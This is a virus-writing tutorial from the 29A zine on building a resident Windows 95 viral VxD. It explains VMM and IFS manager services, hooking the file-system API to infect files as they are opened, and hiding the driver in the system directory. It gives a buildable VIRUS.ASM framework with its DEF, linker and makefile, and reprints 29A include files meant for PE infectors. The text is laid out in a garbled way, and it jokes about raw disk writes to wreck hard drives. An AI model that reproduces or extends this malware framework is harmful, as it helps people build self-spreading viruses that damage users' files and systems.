In order to tell Windows95 to load our VxD we must add a line, DEVICE=VIRUS.VxD, to the [386Enh] section in the SYSTEM.INI, then copy the VxD to the \SYSTEM directory and reboot the system. Another solution is shown, for instance, in the Win95.Lizard virus by Reptile/29A, included in this issue. The trick consists on using the \IOSUBSYS directory. Windows95 may load a VxD dinamically, which is very interesting. However it carries the use of new messages to notify the dinamic start and stop. These techniques are not included in the objectives of this article because they are part of a more advanced subject and #$%!@!!! because I don't wanna waste the rest of my life writing this! :P

Real mode initialization ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Thsi is the only part of a VxD in real mode. It runs on start of VxD load an initialization process. This procedure may be used to avoid the loading of the VxD, the loading of Windows, etc. We will use it for our residency check, and avoid loading again the VxD if it was already loaded. The Virtual Machine Manager calls this procedure with the following parameters:

AX

-> VMM version number. AH -> major version. AL -> minor version.

BX

-> Flags on load. Duplicate_Device_ID -> a VxD with the same ID has been loaded. Duplicate_From_INT2F -> same as the previous one, from int 2fh. Loading_From_INT2F -> self explanatory :)

ECX -> 32-bit pointer, points to the entry for the real mode initialization services routine, which allows things such as reading the registry or SYSTEM.INI. EDX -> pointer to int 2fh provided data, or null. SI

-> environment segment address, as passed by MS-DOS.

Our VxD may indicate the Virtual Machine Manager to perform several functions, such as reserving physical pages, by returned parameters:

AX

-> action. Abort_Device_Load: this is the value which we will return when the VMM tells us of a previously loaded VxD with the same VxD-ID. Prevents the VxD from being loaded without disturbing other VxDs. Abort_Win386_Load: tells VMM that everything is screwed up and it should better not load Windows (which is nearly always) :P Device_Load_Ok: when VMM receives this value, it understands that initialization is running with no problems, and that the loading process must continue. No_Fail_Message: this value is used in combination with Abort_Device_Load and with Abort_Win386_Load to prevent some error messages from appearing as a result of aborting Win or VxD loading.

BX

-> points to an array with the numbers of the pages to reserve for the VxD. This array ends in a NULL and contains pages ranging from 0000h to 0100h. If we don't want to reserve any pages, this value is kept equal to 0000h.

EDX -> reference data, by now we'll set it to 00000000h. SI

-> instance data, we'll also set it to 0000h.

VMM services of our interest ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

The Virtual Machine Manager is the heart of the operating system, as it is it the encharged to manage every virtual machine (hence, VMM). Moreover, it offers several services, some of which I'll describe as an example.

Get_Cur_VM_Handle ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Get in EBX a handle about the VM being executed right now.

VMMcall Get_Cur_VM_Handle mov [VM_handle],ebx

Get_Sys_VM_Handle ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Get in EBX a handle about the system VM.

VMMcall Get_Sys_VM_Handle mov [SysVM_handle],ebx

Get_VMM_Version ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Get info about the VMM version.

VMMcall Get_VMM_Version mov [Major],ah mov [Minor],al mov [Debug],ecx

; Major version number ; Minor version number ; Revision number

Get_Config_Directory ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ This great function provides us with the complete path to the directory where Windows mantains the system files such as SYSTEM.INI.

VMMcall Get_Config_Directory mov [win_path],edx

Get_Exec_Path ÄÄÄÄÄÄÄÄÄÄÄÄÄ Get a pointer to the path where Windows keeps the VMM32.VXD file. This will be the best directory regarding to save our viral VxD, hidden between system files in \SYSTEM.

VMMcall Get_Exec_Path mov [path_ptr],edx mov [length],ecx

The ECX register keeps the number of cluding last backlash "\".

_HeapAllocate ÄÄÄÄÄÄÄÄÄÄÄÄÄ Allocate memory in system's heap.

characters in the path string, in-

VMMcall _HeapAllocate,<#bytes,flags> or eax,eax jz not_allocated mov [block_ptr], eax

; eax = 00h if error ; Pointer to allocated block

#bytes -> specifies number of bytes to allocate flags

-> refers to the following flags:

HEAPLOCKEDIFDP: allocate a memory block in a locked zone, only if using MS-DOS or BIOS functions in order to page. HEAPINIT: this flag can only be specified during initialization. It allocates a memory block which will be automatically freed once init is completed. HEAPSWAP: the block is allocated in a paged memory zone. HEAPZEROINIT: the allocated block is initialized with 00h's.

_HeapFree ÄÄÄÄÄÄÄÄÄ Free a memory block allocated with last function.

VMMcall _HeapFree, or eax,eax jz error

; eax = 00h if error

Hook_V86_Int_Chain ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Add a new handler to a V86 interruption. Gollum in order to monitor calls to the interrupt 21h.

mov eax,int_number mov esi,OFFSET32 my_handler VMMcall Hook_V86_Int_Chain jc error

virus uses

this service

; Int to hook ; Pointer to our handler ; Carry set if error encountered

System calls new controller like this:

mov eax,int_number mov ebx, VM mov ebp, OFFSET32 crs call [my_handler]

; Interruption ; Running VM handler ; Pointer to the Client_Reg_Struc

jc pass_to_next

; Carry set if the funciton wasnt ; dispensed

We also have an Unhook_V86_Int_Chain, whose mission is to free the interruption handler just installed.

mov eax,int_number mov esi,OFFSET32 Hook_Proc

VMMcall Unhook_V86_Int_Chain jc error

; Int number ; Address to the procedure which ; will be erased from the chain

; Carry set if error encountered

Installable File System ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Here we have all those functions which we continuously use in MS-DOS and allow us to open files, read them, etc... it will be here where we will hook our virus so as to monitor every operation the system will perform on files in order to infect them. But let's go step by step. To perform our operations on files we will use a service which will provide us with the most common functions such as read, write, etc. Here it is:

mov eax,R0_OPENCREATFILE

; Function to call

mov mov mov mov

; ; ; ; ;

cx,0 bx,2 dx,0011h esi,OFFSET32 filename

VxDCall IFSMgr_Ring0_FileIO

Requiered Params - Attributes - Flags - Action and special flags - Guess what??? ;)

; And finally, the call

Then the only thing we need in order to start is to know how to call every function and how to pass the params. Well, this is the I/O form of some of the functions we will mostly use...

OpenCreateFile ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ We will use this function to open or create files. Input params are:

EAX BX CX DH DL ESI

-> -> -> -> -> ->

function R0_OPENCREATFILE open mode and flags * attributes special flags (R0_NO_CACHE, R0_SWAPPER_CALL) action to perform * pointer to the filename string

And output parameters are: if CF=0 EAX -> file handle ECX -> performed action * if CF=1 error * = Check int 21h function 6ch

ReadFile ÄÄÄÄÄÄÄÄ With R0_READFILE we'll read bytes from a previously opened file (with the

R0_OPENCREATEFILE call). Following parameters are expected:

EAX EBX ECX EDX ESI

-> -> -> -> ->

R0_READFILE file handle bytes to read place on file where to start reading pointer to buffer where to write data

Output: if CF=0 then ECX = number of read bytes if CF=1 error

WriteFile ÄÄÄÄÄÄÄÄÄ That is, write into a file, params are:

EAX EBX ECX EDX ESI

-> -> -> -> ->

R0_WRITEFILE file handle bytes to write place in file where to start writing pointer to the data we want to write

Output: if CF=0 then ECX = number of written bytes if CF=1 error

CloseFile ÄÄÄÄÄÄÄÄÄ In order to close a just infected file ;) The input params are:

EAX -> R0_CLOSEFILE EBX -> file handle Output: if CF=0 file was closed ok if CF=1 error (AX = errorcode)

GetFileSize ÄÄÄÄÄÄÄÄÄÄÄ I'm sure we'll find it useful. Use these parameters:

EAX -> R0_GETFILESIZE EBX -> file handle As a result: if CF=0 then EAX = file size in bytes if CF=1 error (AX = errorcode)

And well, we could start now, however we'll still need some more, such as FileAttributes, RenameFile, DeleteFile, or GetDiskFreeSpace. As a colorful note we also have WriteAbsoluteDisk and ReadAbsoluteDisk to fuck around a

bit if we don't like hard drives... :) So we already know how to get on files, now we need to know how to hook up to the File System so we can monitor its activity. We'll use an IFS manager service, like this:

mov eax,OFFSET32 hook_procedure push eax VxDCall IFSMgr_InstallFileSystemApiHook add esp,0004h or eax,eax jz error mov dword ptr [prev_hook],eax ;Continue initialization process clc ret error: stc ret

This way we tell the file system the address of our monitor procedure. Lets see an example on writing this procedure...

hook_procedure: ; Follow C calls rules push ebp mov ebp,esp sub esp,20h ; At this point we can address the following params using ; the stack: ; ; ; ; ; ; ; ; ; ; ; ; ;

ebp+00h -> saved EBP value. ebp+04h -> return address. ebp+08h -> supplies the address of the FSD function that is to be called for this API. ebp+0Ch -> supplies the function that is being performed. ebp+10h -> supplies the 1-based drive the operation is being performed on (-1 if UNC). ebp+14h -> supplies the kind of resource the operation is being performed on. ebp+18h -> supplies the codepage that the user string was passed in on. ebp+1Ch -> supplies pointer to IOREQ structure. Total 20h bytes

; Next we'll do is check if this call has been performed by ; the virus while infecting a file ; Using a switch, we'll avoid dropping into an endless loop. cmp dword ptr [our_own_call],"BUSY" je exit_FS_hook ; This is the moment in which we check the function being called cmp dword ptr [ebp+0Ch],IFSFN_OPEN je virus_OPEN_FILE

exit_FS_hook: mov eax,dword push eax mov eax,dword push eax mov eax,dword push eax mov eax,dword push eax mov eax,dword push eax mov eax,dword push eax

ptr [ebp+1Ch] ptr [ebp+18h] ptr [ebp+14h] ptr [ebp+10h] ptr [ebp+0Ch] ptr [ebp+08h]

; Finally let's call last IFS monitor procedure mov eax,dword ptr [Prev_IFS_Hook] call dword ptr [eax] ; The procedure is responsible for clearing the stack before ; RETurning the control to the caller add esp,00000018h ; RETurn leave ret

Cannonicalized paths ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Every path IFS manager passes to the FSD's is in Unicode. A cannonicalized path has quite different structure from that of C:\DOS we know so well ;)

This structure composes of: 1 WORD with the path's length (including this WORD but not the final NULL character). 1 WORD with the offset of the path element of the string, each path element keeps info about a path's part. Various path elements. Their structure is composed of 1 WORD with the pathname length (including the self WORD) followed by an Unicode string with the name of that path element. All cannonicalized paths contain a complete path from the partition root.

Installable File System services ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Some of these services have the format of a call in C so parameters are actually saves in the stack, depending on the function's necessities. Other services are written to be called from ASM, hence loading the params in the pertinent registers. The only service which can be useful for now is IFSMgr _GetVersion, which allows us to check IFS's version.

IFSMgr_GetVersion

Input: There are now input parameters Output: If CF=0 then EAX keeps the IFS manager version number If CF=1 error

Generic viral VxD ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ This is an example for a generical viral VxD, over which to write the rest of the code. The project is composed of the following files:

VIRUS.ASM VIRUS.DEF VIRUS.LNK MAKEFILE

; ; ; ;

ASM source with the viral VxD Module definition file Linker specifications file Project file

; - -[VIRUS.ASM]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 MASM=1 .386p .XLIST INCLUDE VMM.Inc INCLUDE ifs.inc INCLUDE ifsmgr.inc INCLUDE SheLL.Inc .LIST Declare_Virtual_Device VXD, 1, 0, VXD_Control, Undefined_Device_ID ,,, VxD_REAL_INIT_SEG ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Virus95 real mode initialization code ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄBeginProc VxD_Real_Init_Proc ; Installation check test bx,Duplicate_Device_ID jnz short abort_virus_load ; Dont use any exclusion,instance or reference data xor bx,bx xor si,si xor edx,edx ; Not installed, load device mov ax,Device_Load_Ok ret abort_virus_load:

; Abort device loading process mov ax,Abort_Device_Load or No_Fail_Message ret EndProc VxD_Real_Init_Proc VxD_REAL_INIT_ENDS VxD_LOCKED_DATA_SEG ; We have read/write access to locked code segment because ; its into a loked data segment VxD_LOCKED_CODE_SEG ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Virus95 device init ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄBeginProc VXD_Device_Init ; This initialization code is into VxD_LOCKED_CODE_SEG ; in order to avoid paging while fucking around with IFS. ; Check installable file system version cld VxDCall IFSMgr_Get_Version jc exit_device_init ; Get path of WIN386.EXE VMMCall Get_Exec_Path ; Copy path to our buffer mov esi,edx mov edi,OFFSET32 VxD_File_Name cld rep movsb ; Write name of our VxD file next to the path mov esi,OFFSET32 virus_VxD_Name mov ecx,0Bh cld rep movsb ; ; ; ;

At this point we have the path and name of our virual VxD into the Windos \SYSTEM directory... We can read it on a buffer or copy it directly while infecting the file...

; ; ; ; ;

Following service is called to install a filesystem API hook. This should be called by a VxD that wants to hook the filesystem api call and do special processing on them. The IFS manager returns a pointer of the next hooker in the chain.

mov eax,OFFSET32 virus_FS_Monitor push eax VxDCall IFSMgr_InstallFileSystemApiHook

; If this function is failed for reasons such as out of memory, ; the return value is 0. add esp,00000004h or eax,eax jz error_device_init mov dword ptr [Prev_IFS_Hook],eax exit_device_init: ; Continue initialization process clc ret error_device_init: stc ret EndProc VXD_Device_Init ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Virus95 file API hook ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄBeginProc virus_FS_Monitor ; Errr... Using C calling conventions push ebp mov ebp,esp sub esp,20h ; Parameters into stack: ; ; ; ; ; ; ; ; ; ; ; ; ;

ebp+00h -> saved EBP value. ebp+04h -> return address. ebp+08h -> supplies the address of the FSD function that is to be called for this API. ebp+0Ch -> supplies the function that is being performed. ebp+10h -> supplies the 1-based drive the operation is being performed on (-1 if UNC). ebp+14h -> supplies the kind of resource the operation is being performed on. ebp+18h -> supplies the codepage that the user string was passed in on. ebp+1Ch -> supplies pointer to IOREQ structure. Total 20h bytes

; Check if we are trying to process our own IFS calls cmp dword ptr [our_own_call],"BUSY" je exit_FS_hook ; Check for OPEN ; This function is called also before execution... cmp dword ptr [ebp+0Ch],IFSFN_OPEN je virus_OPEN_FILE

exit_FS_hook: ; Prepare parameters for calling previous FS API hook mov eax,dword push eax mov eax,dword push eax mov eax,dword push eax mov eax,dword push eax mov eax,dword push eax mov eax,dword push eax

ptr [ebp+1Ch] ptr [ebp+18h] ptr [ebp+14h] ptr [ebp+10h] ptr [ebp+0Ch] ptr [ebp+08h]

; Call previous hook mov eax,dword ptr [Prev_IFS_Hook] call dword ptr [eax] ; IFS hooker needs to fix the stack before return to caller add esp,00000018h ; Back to caller leave ret ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Open file/create a file ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄvirus_OPEN_FILE: ; Save regs pushfd pushad ; Set IFS busy flag mov dword ptr [our_own_call],"BUSY" ; Put here code to process filename and infect it ; Reset IFS busy field mov dword ptr [our_own_call],"FREE" ; Get regs back popad popfd jmp exit_FS_hook EndProc virus_FS_Monitor ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Virus95 VxD control dispatcher ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄBeginProc VXD_Control

Control_Dispatch Device_Init, VxD_Device_Init clc ret EndProc VXD_Control VxD_LOCKED_CODE_ENDS ;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ;³ Virus buffers into locked data segment ³ ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄPrev_IFS_Hook our_own_call VxD_File_Name virus_VxD_Name

dd db db db

00000000h "EERF" 80h dup (00h) "virus.VXD",00h

;Previous IFS hooker ;Path of virus VxD ;Name of virus VxD file

VxD_LOCKED_DATA_ENDS END ; - -[VIRUS.DEF]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 LIBRARY VXD DESCRIPTION 'ViRuS95' EXETYPE DEV386 SEGMENTS _LTEXT _LDATA _ITEXT _IDATA _TEXT _DATA

PRELOAD NONDISCARDABLE PRELOAD NONDISCARDABLE CLASS 'ICODE' DISCARDABLE CLASS 'ICODE' DISCARDABLE CLASS 'PCODE' NONDISCARDABLE CLASS 'PCODE' NONDISCARDABLE

EXPORTS VXD_DDB @1 ; - -[VIRUS.LNK]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 VIRUS.obj VIRUS.vxd /NOI /NOD /NOP VIRUS.map /MAP VIRUS.def ; - -[MAKEFILE] - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 NAME = VIRUS LINK = link386.exe !ifdef DEBUG DDEBUG =-DDEBLEVEL=1 -DDEBUG !else DDEBUG =-DDEBLEVEL=0 !endif all : VIRUS.vxd ASM = ml #AFLAGS = -coff -DBLD_COFF -DIS_32 -W2 -c -Cx -Zm -DMASM6 $(DDEBUG)

AFLAGS = -DBLD_COFF -DIS_32 -W2 -c -Cx -Zm -DMASM6 $(DDEBUG) ASMENV = ML VIRUS.vxd: VIRUS.def VIRUS.obj link386 @VIRUS.lnk addhdr VIRUS.vxd mapsym32 VIRUS ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

GriYo/29A I'm not in the business... ... I am the bussiness.

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

. .: .:.. :.. .. .:.::. :. ..: <<-==ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ===< .:: ÛÛÛ ÛÛÛ:ÛÛÛ ÛÛÛ.ÛÛÛ ÛÛÛ .:. . .:.ÜÜÜÛÛß.ßÛÛÛÛÛÛ.ÛÛÛÛÛÛÛ:.. ...ÛÛÛÜÜÜÜ:ÜÜÜÜÛÛÛ:ÛÛÛ ÛÛÛ.::. >===ÛÛÛÛÛÛÛ=ÛÛÛÛÛÛß=ÛÛÛ ÛÛÛ=->> .: .:.. ..:. .: ..:.::. ::.. :.:. [29A INC files] by Jacky Qwerty/29A

Here you have the "famous" 29A INC filez, written by me. These INCz surely will become almost completely necessary for you at the moment of writing your Win32 PE infectorz as they contain lotz of very useful structurez and routinez used in such kind of virusez. At the very least you will need the INC filez to understand the functioning of the Win32 infectorz written here by us in 29A, as we all use them in order to make thingz much easier :) The set is formed by four filez (MZ.INC, PE.INC, USEFUL.INC, WIN32API.INC) which work separately, and whose corresponding utility has been described below. You might want either to cut them off from this file or just to unzip the file containing them (29A_INCS.ZIP), in the \FILES directory. Hope they will be useful for you!

- -[MZ.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 . .: .:.. :.. .. .:.::. :. ..: <<-==ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ===< .:: ÛÛÛ ÛÛÛ:ÛÛÛ ÛÛÛ.ÛÛÛ ÛÛÛ .:. . .:.ÜÜÜÛÛß.ßÛÛÛÛÛÛ.ÛÛÛÛÛÛÛ:.. ...ÛÛÛÜÜÜÜ:ÜÜÜÜÛÛÛ:ÛÛÛ ÛÛÛ.::. >===ÛÛÛÛÛÛÛ=ÛÛÛÛÛÛß=ÛÛÛ ÛÛÛ=->> .: .:.. ..:. .: ..:.::. ::.. :.:. [29A INC files] DOS EXE MZ executable format by Jacky Qwerty/29A Description ÄÄÄÄÄÄÄÄÄÄÄ This include file contains all the constantz and structurez needed to work with the DOS EXE MZ executable format inside ASM filez. For use with TASM, of course (also with TASM32). MASM sucks.. :P Disclaimer ÄÄÄÄÄÄÄÄÄÄ This file was built up by Jacky Qwerty from 29A. The author is not responsible for any problemz caused due to use/misuse of this file.

(c) 1997. No rightz reserved. Use without permision >8P.

; ÄÄ´ MZ_magic value ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ IMAGE_DOS_SIGNATURE IMAGE_DOS_HEADER MZ_magic

EQU

STRUC DW ?

5A4Dh ;'MZ'

; Magic number

MZ_cblp MZ_cp MZ_crlc MZ_cparhdr MZ_minalloc MZ_maxalloc MZ_ss MZ_sp MZ_csum MZ_ip MZ_cs MZ_lfarlc MZ_ovno MZ_res MZ_oemid MZ_oeminfo MZ_res2 MZ_lfanew IMAGE_DOS_HEADER

DW DW DW DW DW DW DW DW DW DW DW DW DW DW DW DW DW DD ENDS

? ? ? ? ? ? ? ? ? ? ? ? ? 4 DUP (?) ? ? 10 DUP (?) ?

IMAGE_SIZEOF_DOS_HEADER EQU ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

SIZE

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

Bytes on last page of file Pages in file Relocations Size of header in paragraphs Minimum extra paragraphs needed Maximum extra paragraphs needed Initial (relative) SS value Initial SP value Checksum Initial IP value Initial (relative) CS value File address of relocation table Overlay number Reserved words OEM identifier (for e_oeminfo) OEM information; e_oemid specific Reserved words File address of new exe header

IMAGE_DOS_HEADER

- -[PE.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 . .: .:.. :.. .. .:.::. :. ..: <<-==ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ=ÜÛÛÛÛÛÜ===< .:: ÛÛÛ ÛÛÛ:ÛÛÛ ÛÛÛ.ÛÛÛ ÛÛÛ .:. . .:.ÜÜÜÛÛß.ßÛÛÛÛÛÛ.ÛÛÛÛÛÛÛ:.. ...ÛÛÛÜÜÜÜ:ÜÜÜÜÛÛÛ:ÛÛÛ ÛÛÛ.::. >===ÛÛÛÛÛÛÛ=ÛÛÛÛÛÛß=ÛÛÛ ÛÛÛ=->> .: .:.. ..:. .: ..:.::. ::.. :.:. [29A INC files] Portable Executable format by Jacky Qwerty/29A Description ÄÄÄÄÄÄÄÄÄÄÄ This include file contains all the constantz and structurez needed to work with the PE (Portable Executable) format from inside ASM filez. For exclusive use with TASM(32), of course. MASM sucks.. :P Disclaimer ÄÄÄÄÄÄÄÄÄÄ This file was built up by Jacky Qwerty from 29A. The author is not responsible for any problemz caused due to use/misuse of this file.

(c) 1997. No rightz reserved. Use without permision >8P.

; ÄÄ´ Based relocation type valuez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ IMAGE_REL_BASED_ABSOLUTE IMAGE_REL_BASED_HIGH IMAGE_REL_BASED_LOW IMAGE_REL_BASED_HIGHLOW IMAGE_REL_BASED_HIGHADJ IMAGE_REL_BASED_MIPS_JMPADDR IMAGE_RELOCATION_DATA RD_RelocType RD_RelocOffset

RECORD :4 :12

EQU EQU EQU EQU EQU EQU

0 1 2 3 4 5 {

} IMAGE_BASE_RELOCATION STRUC BR_VirtualAddress DD ? BR_SizeOfBlock DD ? ; BR_TypeOffset IMAGE_RELOCATION_DATA 1 DUP (?) relocations (type + RVAs) IMAGE_BASE_RELOCATION ENDS IMAGE_SIZEOF_BASE_RELOCATION

EQU

SIZE

IMAGE_BASE_RELOCATION

IMAGE_IMPORT_BY_NAME IBN_Hint IBN_Name IMAGE_IMPORT_BY_NAME

STRUC DW ? DB 1 DUP (?) ENDS

IMAGE_ORDINAL_FLAG

EQU

IMAGE_THUNK_DATA

STRUC UNION DD IMAGE_IMPORT_BY_NAME PTR ?

TD_AddressOfData structure TD_Ordinal DD IMAGE_ORDINAL_FLAG TD_Function DD address after program load) TD_ForwarderString DD ENDS IMAGE_THUNK_DATA ENDS

; Array of zero or more

; 8

; ASCIIZ function name (variable size)

80000000h

?

; Ptr to IMAGE_IMPORT_BY_NAME ; Ordinal ORed with

BYTE PTR ?

; CODE PTR

BYTE PTR ?

; Ptr to function (i.e. Function ; Ptr to a forwarded API function.

; ÄÄ´ Import format ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ IMAGE_IMPORT_DESCRIPTOR ID_Characteristics descriptor ID_OriginalFirstThunk ID_TimeDateStamp

STRUC UNION DD ? DD ENDS DD

; 0 for terminating null import

IMAGE_THUNK_DATA PTR ? ?

; RVA to original unbound IAT

; 0 if not bound, ; -1 if bound, and real date\time stamp ; in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new

BIND) ID_ForwarderChain ID_Name ID_FirstThunk has actual addresses) IMAGE_IMPORT_DESCRIPTOR

DD DD DD

; O.W. date/time stamp of DLL bound to (Old BIND) ? ; -1 if no forwarders BYTE PTR ? ; RVA to name of imported DLL IMAGE_THUNK_DATA PTR ? ; RVA to IAT (if bound this IAT

ENDS

IMAGE_SIZEOF_IMPORT_DESCRIPTOR

EQU

SIZE IMAGE_IMPORT_DESCRIPTOR

; ÄÄ´ Export format ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ IMAGE_EXPORT_DIRECTORY ED_Characteristics ED_TimeDateStamp ED_MajorVersion ED_MinorVersion ED_Name ED_Base ED_BaseOrdinal

STRUC DD DD DW DW DD UNION DD DD ENDS

? ? ? ? BYTE PTR ? ? ?

; Ptr to name of exported DLL

ED_NumberOfFunctions ED_NumberOfNames ED_NumberOfOrdinals ED_AddressOfFunctions ED_AddressOfNames ED_AddressOfNameOrdinals ED_AddressOfOrdinals IMAGE_EXPORT_DIRECTORY

DD UNION DD DD ENDS DD DD UNION DD DD ENDS ENDS

IMAGE_SIZEOF_EXPORT_DIRECTORY EQU

? ? ? DWORD PTR ? ; Ptr to array of function addresses DWORD PTR ? ; Ptr to array of (function) name addresses WORD PTR ? WORD PTR ?

; Ptr to array of ordinals ;

SIZE IMAGE_EXPORT_DIRECTORY

